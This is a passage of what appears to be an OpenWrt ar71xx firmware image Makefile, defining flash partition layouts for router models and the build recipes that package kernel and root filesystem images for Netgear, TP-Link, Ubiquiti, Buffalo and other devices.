cameo933x_mtdlayout=mtdparts=spi0.0:64k(u-boot)ro,64k(art)ro,64k(mac)ro,64k(nvram)ro,192k(language)ro,896k(kernel),2752k(rootfs),3648k@0x70000(firmware) cameo934x_mtdlayout=mtdparts=spi0.0:64k(uboot)ro,64k(nvram)ro,1280k(kernel),14656k(rootfs),192k(lang)ro,64k(mac)ro,64k(art)ro,15936k@0x20000(firmware) cap4200ag_mtdlayout=mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),320k(custom)ro,1536k(kernel),12096k(rootfs),2048k(failsafe),64k(art),13632k@0xa0000(firmware) db120_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,6336k(rootfs),1408k(kernel),64k(nvram),64k(art)ro,7744k@0x50000(firmware) dir825b1_mtdlayout=mtdparts=spi0.0:256k(uboot)ro,64k(config)ro,1024k(kernel),5184k(rootfs),64k(caldata)ro,1600k(unknown)ro,6208k@0x50000(firmware),64k@0x7f0000(caldata_copy) dir825b1_mtdlayout_fat=mtdparts=spi0.0:256k(uboot)ro,64k(config)ro,1024k(kernel),6784k(rootfs),64k(caldata)ro,7808k@0x50000(firmware),64k@0x660000(caldata_orig),6208k@0x50000(firmware_orig) ew-dorin_mtdlayout_4M=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env),1024k(kernel),2688k(rootfs),64k(art),3712k@0x50000(firmware) dlrtdev_mtdlayout=mtdparts=spi0.0:256k(uboot)ro,64k(config)ro,1024k(kernel),5184k(rootfs),64k(caldata)ro,640k(certs),960k(unknown)ro,6208k@0x50000(firmware),64k@0x7f0000(caldata_copy) dlrtdev_mtdlayout_fat=mtdparts=spi0.0:256k(uboot)ro,64k(config)ro,1024k(kernel),6544k(rootfs),640k(certs),64k(caldata)ro,7168k@0x50000(firmware),64k@0x660000(caldata_orig),6208k@0x50000(firmware_orig) pb92_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,2752k(rootfs),896k(kernel),64k(nvram),64k(art)ro,3648k@0x50000(firmware) planex_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,1024k(kernel),6656k(rootfs),128k(art)ro,7744k@0x50000(firmware) ubntxm_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,1024k(kernel),6528k(rootfs),256k(cfg)ro,64k(EEPROM)ro,7552k@0x50000(firmware) uap_pro_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,1536k(kernel),14208k(rootfs),256k(cfg)ro,64k(EEPROM)ro,15744k@0x50000(firmware) ubdev_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,1024k(kernel),6464k(rootfs),64k(certs),256k(cfg)ro,64k(EEPROM)ro,7488k@0x50000(firmware) whrhpg300n_mtdlayout=mtdparts=spi0.0:248k(u-boot)ro,8k(u-boot-env)ro,1024k(kernel),2752k(rootfs),64k(art)ro,3712k@0x40000(firmware) wndr3700_mtdlayout=mtdparts=spi0.0:320k(u-boot)ro,128k(u-boot-env)ro,1024k(kernel),6656k(rootfs),64k(art)ro,7680k@0x70000(firmware) wndr3700v2_mtdlayout=mtdparts=spi0.0:320k(u-boot)ro,128k(u-boot-env)ro,1024k(kernel),14848k(rootfs),64k(art)ro,15872k@0x70000(firmware) wndr4300_mtdlayout=mtdparts=ar934x-nfc:256k(u-boot)ro,256k(u-boot-env)ro,256k(caldata),512k(pot),2048k(language),512k(config),3072k(traffic_meter),1152k(kernel),24448k(rootfs),25600k@0x6c0000(firmware),256k(caldata_backup),-(reserved) zcn1523h_mtdlayout=mtdparts=spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,6208k(rootfs),1472k(kernel),64k(configure)ro,64k(mfg)ro,64k(art)ro,7680k@0x50000(firmware) define Image/BuildKernel cp $(KDIR)/vmlinux.elf $(VMLINUX).elf cp $(KDIR)/vmlinux $(VMLINUX).bin dd if=$(KDIR)/vmlinux.bin.lzma of=$(VMLINUX).lzma bs=65536 conv=sync dd if=$(KDIR)/vmlinux.bin.gz of=$(VMLINUX).gz bs=65536 conv=sync $(call MkuImage,gzip,,$(KDIR)/vmlinux.bin.gz,$(UIMAGE)-gzip.bin) $(call MkuImage,lzma,,$(KDIR)/vmlinux.bin.lzma,$(UIMAGE)-lzma.bin) cp $(KDIR)/loader-generic.elf $(VMLINUX)-lzma.elf -mkdir -p $(KDIR_TMP) $(call Image/Build/Initramfs) endef define Image/Build/WRT400N $(call MkuImageLzma,$(2),$(3)) $(call Sysupgrade/KRuImage,$(1),$(2),1310720,6488064) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ wrt400n $(KDIR_TMP)/vmlinux-$(2).uImage $(KDIR)/root.$(1) $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/DIR825B1 $(call MkuImageLzma,$(2),$(3) $(dir825b1_mtdlayout)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,5308416) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ ( \ dd if=$(call sysupname,$(1),$(2)); \ echo -n "$(4)"; \ ) > $(call imgname,$(1),$(2))-backup-loader.bin; \ if [ `stat -c%s $(call sysupname,$(1),$(2))` -gt 4194304 ]; then \ echo "Warning: $(call sysupname,$(1),$(2)) is too big" >&2; \ else \ ( \ dd if=$(call sysupname,$(1),$(2)) bs=4096k conv=sync; \ echo -n "$(5)"; \ ) > $(call factoryname,$(1),$(2)); \ fi; \ fi $(call MkuImageLzma,$(2)-fat,$(3) $(dir825b1_mtdlayout_fat)) $(call CatFiles,$(KDIR_TMP)/vmlinux-$(2)-fat.uImage,1048576,$(KDIR)/root.$(1),6946816,$(KDIR_TMP)/$(2)-fat.bin) if [ -e "$(KDIR_TMP)/$(2)-fat.bin" ]; then \ echo -n "" > $(KDIR_TMP)/$(2)-fat.dummy; \ sh $(TOPDIR)/scripts/combined-image.sh \ "$(KDIR_TMP)/$(2)-fat.bin" \ "$(KDIR_TMP)/$(2)-fat.dummy" \ $(call sysupname,$(1),$(2)-fat); \ fi endef define Image/Build/DLRTDEV $(call MkuImageLzma,$(2),$(3) $(dlrtdev_mtdlayout)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,5308416) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ ( \ dd if=$(call sysupname,$(1),$(2)); \ echo -n "$(4)"; \ ) > $(call imgname,$(1),$(2))-backup-loader.bin; \ if [ `stat -c%s $(call sysupname,$(1),$(2))` -gt 4194304 ]; then \ echo "Warning: $(call sysupname,$(1),$(2)) is too big" >&2; \ else \ ( \ dd if=$(call sysupname,$(1),$(2)) bs=4096k conv=sync; \ echo -n "$(5)"; \ ) > $(call factoryname,$(1),$(2)); \ fi; \ fi $(call MkuImageLzma,$(2)-fat,$(3) $(dlrtdev_mtdlayout_fat)) $(call CatFiles,$(KDIR_TMP)/vmlinux-$(2)-fat.uImage,1048576,$(KDIR)/root.$(1),6946816,$(KDIR_TMP)/$(2)-fat.bin) if [ -e "$(KDIR_TMP)/$(2)-fat.bin" ]; then \ echo -n "" > $(KDIR_TMP)/$(2)-fat.dummy; \ sh $(TOPDIR)/scripts/combined-image.sh \ "$(KDIR_TMP)/$(2)-fat.bin" \ "$(KDIR_TMP)/$(2)-fat.dummy" \ $(call sysupname,$(1),$(2)-fat); \ fi endef define Image/Build/WZRHPG30XNH $(call MkuImageLzma,$(2),$(3)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,31850496) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ ( \ echo -n -e "# Airstation Public Fmt1\x00\x00\x00\x00\x00\x00\x00\x00"; \ dd if=$(call sysupname,$(1),$(2)); \ ) > $(call imgname,$(1),$(2))-tftp.bin; \ buffalo-enc -p $(4) -v 1.99 \ -i $(call sysupname,$(1),$(2)) \ -o $(KDIR_TMP)/$(2).enc; \ buffalo-tag -b $(4) -p $(4) -a ath -v 1.99 -m 1.01 -l mlang8 \ -w 3 -c 0x80041000 -d 0x801e8000 -f 1 -r M_ \ -i $(KDIR_TMP)/$(2).enc \ -o $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/WHRHPG300N $(call MkuImageLzma,$(2),$(3) $(4)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,2818048) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ ( \ echo -n -e "# Airstation Public Fmt1\x00\x00\x00\x00\x00\x00\x00\x00"; \ dd if=$(call sysupname,$(1),$(2)); \ ) > $(call imgname,$(1),$(2))-tftp.bin; \ buffalo-enc -p $(5) -v 1.99 \ -i $(call sysupname,$(1),$(2)) \ -o $(KDIR_TMP)/$(2).enc; \ buffalo-tag -b $(5) -p $(5) -a ath -v 1.99 -m 1.01 -l mlang8 \ -w 3 -c 0x80041000 -d 0x801e8000 -f 1 -r M_ \ -i $(KDIR_TMP)/$(2).enc \ -o $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/WHRHPG300N/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(4)) endef define Image/Build/Cameo $(call MkuImageLzma,$(2),$(3) $(4)) $(call Sysupgrade/KRuImage,$(1),$(2),$(5),$(6)) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ ( \ dd if=$(KDIR_TMP)/vmlinux-$(2).uImage bs=$(5) conv=sync; \ dd if=$(KDIR)/root.$(1) bs=$(6) conv=sync; \ echo -n $(7); \ ) > $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/CameoHornet $(call MkuImageLzma,$(2),$(3) $(4)) $(call Sysupgrade/KRuImage,$(1),$(2),$(5),$(6)) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ mkcameofw -M HORNET -R "DEF" -S $(7) -V "1.99" \ -K $(5) -I $$$$(($(5)+$(6))) \ -k $(KDIR_TMP)/vmlinux-$(2).uImage \ -r $(BIN_DIR)/$(IMG_PREFIX)-root.$(1) \ -o $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/Cameo913x $(call Image/Build/Cameo,$(1),$(2),$(3),$(cameo913x_mtdlayout),1048576,2883584,$(4)) endef define Image/Build/Cameo913x/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(cameo913x_mtdlayout)) endef define Image/Build/Cameo7240 $(call Image/Build/Cameo,$(1),$(2),$(3),$(cameo7240_mtdlayout),1048576,2752512,$(4)) endef define Image/Build/Cameo7240/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(cameo7240_mtdlayout)) endef define Image/Build/Cameo933x $(call Image/Build/CameoHornet,$(1),$(2),$(3),$(cameo933x_mtdlayout),917504,2818048,$(4)) endef define Image/Build/Cameo933x/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(cameo933x_mtdlayout)) endef define Image/Build/Cameo934x $(call Image/Build/Cameo,$(1),$(2),$(3),$(cameo934x_mtdlayout),1310720,15007718,$(4)) endef define Image/Build/Cameo934x/initramfs $(call Image/Build/Cameo,$(1),$(2),$(3),$(cameo934x_mtdlayout)) endef define Image/Build/Ath $(call Sysupgrade/$(7),$(1),$(2),$(5),$(6)) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ dd if=$(KDIR_TMP)/vmlinux-$(2).uImage \ of=$(call imgname,kernel,$(2)).bin bs=64k conv=sync; \ dd if=$(KDIR)/root.$(1) \ of=$(call imgname,$(1),$(2)-rootfs).bin bs=128k conv=sync; \ fi endef define Image/Build/AthGzip $(call MkuImageGzip,$(2),$(3) $(4)) $(call Image/Build/Ath,$(1),$(2),$(3),$(4),$(5),$(6),$(7)) endef define Image/Build/AthGzip/initramfs $(call MkuImageGzip/initramfs,$(2),$(3) $(4)) endef define Image/Build/AthLzma $(call MkuImageLzma,$(2),$(3) $(4)) $(call Image/Build/Ath,$(1),$(2),$(3),$(4),$(5),$(6),$(7)) endef define Image/Build/AthLzma/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(4)) endef define Image/Build/PB4X $(call PatchKernelLzma,$(2),$(3)) dd if=$(KDIR_TMP)/vmlinux-$(2).bin.lzma \ of=$(call imgname,kernel,$(2)).bin bs=64k conv=sync dd if=$(KDIR)/root.$(1) \ of=$(call imgname,$(1),$(2)-rootfs).bin bs=128k conv=sync -sh $(TOPDIR)/scripts/combined-image.sh \ "$(call imgname,kernel,$(2)).bin" \ "$(call imgname,$(1),$(2)-rootfs).bin" \ $(call sysupname,$(1),$(2)) endef define Image/Build/MyLoader $(call PatchKernelLzma,$(2),$(3)) -$(STAGING_DIR_HOST)/bin/mkmylofw -B $(2) -s $(4) \ -p0x030000:0xe0000:al:0x80060000:kernel:$(KDIR_TMP)/vmlinux-$(2).bin.lzma \ -p0x110000:0:::rootfs:$(KDIR)/root.$(1) \ $(call imgname,$(1),$(2))-$(5)-factory.img endef define Image/Build/UAPPRO $(call MkuImageLzma,$(2),$(3) $(uap_pro_mtdlayout)) -rm -rf $(KDIR_TMP)/$(2) mkdir -p $(KDIR_TMP)/$(2)/image cp $(KDIR_TMP)/vmlinux-$(2).uImage $(KDIR_TMP)/$(2)/image/kernel0 $(STAGING_DIR_HOST)/bin/mkfs.jffs2 \ --pad --big-endian --squash-uids -v -e 64KiB \ -o $(KDIR_TMP)/$(2)-kernel.jffs2 \ -d $(KDIR_TMP)/$(2)/image \ 2>&1 1>/dev/null | awk '/^.+$$$$/' -rm -rf $(KDIR_TMP)/$(2) $(STAGING_DIR_HOST)/bin/padjffs2 $(KDIR_TMP)/$(2)-kernel.jffs2 64 $(call CatFiles,$(KDIR_TMP)/$(2)-kernel.jffs2,1572864,$(KDIR)/root.$(1),14548992,$(call sysupname,$(1),$(2))) -$(STAGING_DIR_HOST)/bin/mkfwimage2 -f 0x9f000000 \ -v $(5).$(6).v6.0.0-OpenWrt-$(REVISION) \ -p jffs2:0x50000:0xf60000:0:0:$(call sysupname,$(1),$(2)) \ -o $(call factoryname,$(1),$(2)) -rm -f $(KDIR_TMP)/$(2)-kernel.jffs2 endef define Image/Build/UAPPRO/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(uap_pro_mtdlayout)) endef define Image/Build/UBNTXM $(call MkuImageLzma,$(2),$(3) $(ubntxm_mtdlayout)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,6684672) dd if=$(KDIR_TMP)/vmlinux-$(2).uImage of=$(KDIR_TMP)/vmlinux-$(2).uImage.bin bs=1024k conv=sync -$(STAGING_DIR_HOST)/bin/mkfwimage \ -B $(4) -v $(5).$(6).v6.0.0-OpenWrt-$(REVISION) \ -k $(KDIR_TMP)/vmlinux-$(2).uImage.bin \ -r $(BIN_DIR)/$(IMG_PREFIX)-root.$(1) \ -o $(call factoryname,$(1),$(2)) endef define Image/Build/UBDEV $(call MkuImageLzma,$(2),$(3) $(ubdev_mtdlayout)) $(call Sysupgrade/KRuImage,$(1),$(2),1048576,6684672) dd if=$(KDIR_TMP)/vmlinux-$(2).uImage of=$(KDIR_TMP)/vmlinux-$(2).uImage.bin bs=1024k conv=sync -$(STAGING_DIR_HOST)/bin/mkfwimage \ -B $(4) -v $(5).$(6).v6.0.0-OpenWrt-$(REVISION) \ -k $(KDIR_TMP)/vmlinux-$(2).uImage.bin \ -r $(BIN_DIR)/$(IMG_PREFIX)-root.$(1) \ -o $(call factoryname,$(1),$(2)) endef define Image/Build/UBNT $(call PatchKernelLzma,$(2),$(3)) dd if=$(KDIR_TMP)/vmlinux-$(2).bin.lzma of=$(KDIR_TMP)/vmlinux-$(2).lzma bs=64k conv=sync -$(STAGING_DIR_HOST)/bin/mkfwimage \ -B $(4) -v $(5).$(6).OpenWrt.$(REVISION) \ -k $(KDIR_TMP)/vmlinux-$(2).lzma \ -r $(BIN_DIR)/$(IMG_PREFIX)-root.$(1) \ -o $(call factoryname,$(1),$(2)) -sh $(TOPDIR)/scripts/combined-image.sh \ "$(KDIR_TMP)/vmlinux-$(2).lzma" \ "$(BIN_DIR)/$(IMG_PREFIX)-root.$(1)" \ $(call sysupname,$(1),$(2)) endef define Image/Build/Planex/loader $(call Image/BuildLoaderAlone,$(1),gz,$(2) $(planex_mtdlayout),0x52000,0) endef define Image/Build/Planex [ -e "$(KDIR)/loader-$(2).gz" ] $(call MkuImage,gzip,,$(KDIR)/loader-$(2).gz,$(KDIR_TMP)/vmlinux-$(2).uImage) $(call MkuImageOKLI,$(2)) ( \ dd if=$(KDIR_TMP)/vmlinux-$(2).uImage bs=8k count=1 conv=sync; \ dd if=$(KDIR_TMP)/vmlinux-$(2).okli; \ ) > $(KDIR_TMP)/kernel-$(2).bin $(call Sysupgrade/KR,$(1),$(KDIR_TMP)/kernel-$(2).bin,1048576,6750208,$(2)) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ $(STAGING_DIR_HOST)/bin/mkplanexfw \ -B $(2) \ -v 2.00.00 \ -i $(call sysupname,$(1),$(2)) \ -o $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/ALFA $(call MkuImageLzma,$(2),$(3) $(4)) $(call Sysupgrade/RKuImage,$(1),$(2),$(5),$(6)) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ rm -rf $(KDIR)/$(1); \ mkdir -p $(KDIR)/$(1); \ cd $(KDIR)/$(1); \ cp $(KDIR_TMP)/vmlinux-$(2).uImage $(KDIR)/$(1)/$(7); \ cp $(KDIR)/root.$(1) $(KDIR)/$(1)/$(8); \ $(TAR) zcf $(call factoryname,$(1),$(2)) -C $(KDIR)/$(1) $(7) $(8); \ ( \ echo WRM7222C | dd bs=32 count=1 conv=sync; \ echo -ne '\xfe'; \ ) >> $(call factoryname,$(1),$(2)); \ fi endef define Image/Build/ALFA/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(4)) endef define Image/Build/TPLINKOLD/loader $(call Image/BuildLoaderAlone,$(1),gz,$(2),0x22000,0) endef define Image/Build/TPLINKOLD [ -e "$(KDIR)/loader-$(2).gz" ] $(call MkuImageOKLI,$(2)) ( \ dd if=$(KDIR)/loader-$(2).gz bs=7680 count=1 conv=sync; \ dd if=$(KDIR_TMP)/vmlinux-$(2).okli conv=sync; \ ) > $(KDIR_TMP)/kernel-$(2).bin -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION)\ -k $(KDIR_TMP)/kernel-$(2).bin \ -r $(KDIR)/root.$(1) \ -o $(call factoryname,$(1),$(2)) -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) -s\ -k $(KDIR_TMP)/kernel-$(2).bin \ -r $(KDIR)/root.$(1) \ -o $(call sysupname,$(1),$(2)) endef define Image/Build/TPLINKOLD/initramfs $(call Image/BuildLoader,$(2),gz,$(3),0x80060000) -$(STAGING_DIR_HOST)/bin/mktplinkfw -c \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) -s\ -k $(KDIR)/loader-$(2).gz \ -o $(call imgname,$(1),$(2))-uImage.bin endef define Image/Build/TPLINK/loader $(call Image/BuildLoaderAlone,$(1),gz,$(2),0x22000,0) endef define Image/Build/TPLINK [ -e "$(KDIR)/loader-$(2).gz" ] $(call MkuImageOKLI,$(2)) ( \ dd if=$(KDIR)/loader-$(2).gz bs=7680 count=1 conv=sync; \ dd if=$(KDIR_TMP)/vmlinux-$(2).okli conv=sync; \ ) > $(KDIR_TMP)/kernel-$(2).bin -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION)\ -k $(KDIR_TMP)/kernel-$(2).bin \ -r $(KDIR)/root.$(1) \ -a $(call rootfs_align,$(1)) -j \ -o $(call factoryname,$(1),$(2)) -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) -s\ -k $(KDIR_TMP)/kernel-$(2).bin \ -r $(KDIR)/root.$(1) \ -a $(call rootfs_align,$(1)) -j \ -o $(call sysupname,$(1),$(2)) endef define Image/Build/TPLINK/initramfs $(call Image/BuildLoader,$(2),gz,$(3),0x80060000) -$(STAGING_DIR_HOST)/bin/mktplinkfw -c \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) -s\ -k $(KDIR)/loader-$(2).gz \ -o $(call imgname,$(1),$(2))-uImage.bin endef define Image/Build/TPLINK-LZMA $(call PatchKernelLzma,$(2),$(3)) -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) $(7) \ -k $(KDIR_TMP)/vmlinux-$(2).bin.lzma \ -r $(KDIR)/root.$(1) \ -a $(call rootfs_align,$(1)) -j \ -o $(call factoryname,$(1),$(2)) -$(STAGING_DIR_HOST)/bin/mktplinkfw \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) $(7) -s \ -k $(KDIR_TMP)/vmlinux-$(2).bin.lzma \ -r $(KDIR)/root.$(1) \ -a $(call rootfs_align,$(1)) -j \ -o $(call sysupname,$(1),$(2)) endef define Image/Build/TPLINK-LZMA/initramfs $(call PatchKernelLzma,$(2),$(3)) -$(STAGING_DIR_HOST)/bin/mktplinkfw -c \ -H $(4) -W $(5) -F $(6) -N OpenWrt -V $(REVISION) $(7) -s \ -k $(KDIR_TMP)/vmlinux-$(2).bin.lzma \ -o $(call imgname,$(1),$(2))-uImage.bin endef define Image/Build/CyberTAN $(call MkuImageGzip,$(2),$(3)) $(STAGING_DIR_HOST)/bin/trx -o $(KDIR)/image.tmp -f $(KDIR_TMP)/vmlinux-$(2).uImage \ -x 32 -a 0x10000 -x -32 -f $(KDIR)/root.$(1) -$(STAGING_DIR_HOST)/bin/addpattern -B $(2) -v v$(4) \ -i $(KDIR)/image.tmp \ -o $(call sysupname,$(1),$(2)) -$(STAGING_DIR_HOST)/bin/addpattern -B $(2) -v v$(4) -g \ -i $(KDIR)/image.tmp \ -o $(call factoryname,$(1),$(2)) rm $(KDIR)/image.tmp endef define Image/Build/Netgear/Build_uImage $(call MkuImageLzma,$(1),$(2) $(3),-d20) -rm -rf $(KDIR)/$(1) mkdir -p $(KDIR)/$(1)/image $(STAGING_DIR_HOST)/bin/wndr3700 \ $(KDIR_TMP)/vmlinux-$(1).uImage \ $(KDIR)/$(1)/image/uImage \ $(4) $(STAGING_DIR_HOST)/bin/mksquashfs-lzma \ $(KDIR)/$(1) $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs.tmp \ -nopad -noappend -root-owned -be -rm -rf $(KDIR)/$(1) mkimage -A mips -O linux -T filesystem -C none \ -a 0xbf070000 -e 0xbf070000 \ -n 'MIPS OpenWrt Linux-$(LINUX_VERSION)' \ -d $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs.tmp \ $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs.tmp2 $(STAGING_DIR_HOST)/bin/wndr3700 \ $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs.tmp2 \ $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs \ $(4) -rm -f $(KDIR_TMP)/vmlinux-$(1).uImage.squashfs.tmp* endef define Image/Build/Netgear/Estimate_uImage $(call Image/Build/Netgear/Build_uImage,$(1)_est,$(2),$(3),$(4)) ( \ set -e; \ kk=`echo '$(3)' | sed -e 's/.*[:,]\([0-9]*\)k(kernel).*/\1/'`; \ rk=`echo '$(3)' | sed -e 's/.*[:,]\([0-9]*\)k(rootfs).*/\1/'`; \ let 'tk = kk + rk'; \ s=`stat -c'%s' '$(KDIR_TMP)/vmlinux-$(1)_est.uImage.squashfs'`; \ c=`echo '$(3)' | wc -c`; \ let 'kk = (((s + c) / (64 * 1024) + 1) * 64)'; \ let 'rk = tk - kk'; \ echo '$(3)' | sed -e "s/[0-9]*k(kernel)/$$$${kk}k(kernel)/" \ -e "s/[0-9]*k(rootfs)/$$$${rk}k(rootfs)/" > \ '$(KDIR_TMP)/$(1)_mtdparts'; \ let 'k = kk * 1024'; \ echo "$$$${k}" > '$(KDIR_TMP)/$(1)_kernel_maxsize'; \ let 'r = rk * 1024'; \ echo "$$$${r}" > '$(KDIR_TMP)/$(1)_rootfs_maxsize'; \ ) -rm -f $(KDIR_TMP)/vmlinux-$(1)_est \ $(KDIR_TMP)/vmlinux-$(1)_est.bin.lzma \ $(KDIR_TMP)/vmlinux-$(1)_est.uImage \ $(KDIR_TMP)/vmlinux-$(1)_est.uImage.squashfs endef define Image/Build/Netgear $(call Image/Build/Netgear/Estimate_uImage,$(2),$(3),$(4),$(5)) $(call Image/Build/Netgear/Build_uImage,$(2),$(3),`cat $(KDIR_TMP)/$(2)_mtdparts`,$(5)) if [ `stat -c%s '$(KDIR_TMP)/vmlinux-$(2).uImage.squashfs'` -gt \ `cat '$(KDIR_TMP)/$(2)_kernel_maxsize'` ]; then \ echo "$(KDIR_TMP)/vmlinux-$(2).uImage.squashfs is too big" >& 2; \ else if [ `stat -c%s '$(KDIR)/root.$(1)'` -gt \ `cat '$(KDIR_TMP)/$(2)_rootfs_maxsize'` ]; then \ echo "$(KDIR)/root.$(1) is too big" >& 2; \ else \ ( \ set -e; \ dd if=$(KDIR_TMP)/vmlinux-$(2).uImage.squashfs \ bs=`cat '$(KDIR_TMP)/$(2)_kernel_maxsize'` conv=sync; \ dd if=$(KDIR)/root.$(1) bs=64k; \ ) > $(call sysupname,$(1),$(2)); \ for r in $(7) ; do \ [ -n "$$$$r" ] && dashr="-$$$$r" || dashr= ; \ $(STAGING_DIR_HOST)/bin/mkdniimg \ -B $(6) -v OpenWrt.$(REVISION) -r "$$$$r" $(8) \ -i $(call sysupname,$(1),$(2)) \ -o $(call imgname,$(1),$(2))-factory$$$$dashr.img; \ done; \ fi; fi endef define Image/Build/Netgear/initramfs $(call MkuImageLzma,$(2),$(3) $(4)) $(STAGING_DIR_HOST)/bin/wndr3700 \ $(KDIR_TMP)/vmlinux-$(2).uImage \ $(call imgname,$(1),$(2))-uImage.bin \ $(5) endef define Image/Build/NetgearNAND/initramfs $(call Image/Build/Netgear/initramfs,$(1),$(2),$(3),$(4),$(5)) endef ifdef CONFIG_PACKAGE_uboot-ar71xx-nbg460n_550n_550nh define Image/Build/ZyXEL $(call MkuImageLzma,$(2),$(3)) $(call Sysupgrade/KRuImage,$(1),$(2),917504,2752512) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ if [ ! -f $(BIN_DIR)/$(IMG_PREFIX)-$(2)-u-boot.bin ]; then \ echo "Warning: $(IMG_PREFIX)-$(2)-u-boot.bin not found" >&2; \ else \ $(STAGING_DIR_HOST)/bin/mkzynfw \ -B $(4) \ -b $(BIN_DIR)/$(IMG_PREFIX)-$(2)-u-boot.bin \ -r $(call sysupname,$(1),$(2)):0x10000 \ -o $(call factoryname,$(1),$(2)); \ fi; fi endef endif define Image/Build/OpenMesh $(call MkuImageLzma,$(2)) -sh $(TOPDIR)/scripts/om-fwupgradecfg-gen.sh \ "$(4)" \ "$(BUILD_DIR)/fwupgrade.cfg-$(4)" \ "$(KDIR_TMP)/vmlinux-$(2).uImage" \ "$(KDIR)/root.$(1)" -sh $(TOPDIR)/scripts/combined-ext-image.sh \ "$(4)" "$(call factoryname,$(1),$(2))" \ "$(BUILD_DIR)/fwupgrade.cfg-$(4)" "fwupgrade.cfg" \ "$(KDIR_TMP)/vmlinux-$(2).uImage" "kernel" \ "$(KDIR)/root.$(1)" "rootfs" endef define Image/Build/Zcomax $(call MkuImageLzma,$(2),$(3) $(4)) $(call Sysupgrade/RKuImage,$(1),$(2),1507328,6356992) if [ -e "$(call sysupname,$(1),$(2))" ]; then \ $(STAGING_DIR_HOST)/bin/mkzcfw \ -B $(2) \ -k $(KDIR_TMP)/vmlinux-$(2).uImage \ -r $(BIN_DIR)/$(IMG_PREFIX)-root.$(1) \ -o $(call imgname,$(1),$(2))-factory.img; \ fi endef define Image/Build/Zcomax/initramfs $(call MkuImageLzma/initramfs,$(2),$(3) $(4)) endef define Image/Build/Template/initramfs/initramfs $(call Image/Build/$(1)/initramfs,initramfs,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/all/squashfs $(call Image/Build/$(1),squashfs,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/all/jffs2-64k $(call Image/Build/$(1),jffs2-64k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/all/jffs2-128k $(call Image/Build/$(1),jffs2-128k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/all/jffs2-256k $(call Image/Build/$(1),jffs2-256k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/squashfs-only/loader $(call Image/Build/$(1)/loader,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/squashfs-only/squashfs $(call Image/Build/$(1),squashfs,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64k/loader $(call Image/Build/$(1)/loader,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64k/squashfs $(call Image/Build/$(1),squashfs-64k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64k/jffs2-64k $(call Image/Build/$(1),jffs2-64k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64kraw/loader $(call Image/Build/$(1)/loader,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64kraw/squashfs $(call Image/Build/$(1),squashfs-raw,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/64kraw/jffs2-64k $(call Image/Build/$(1),jffs2-64k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define 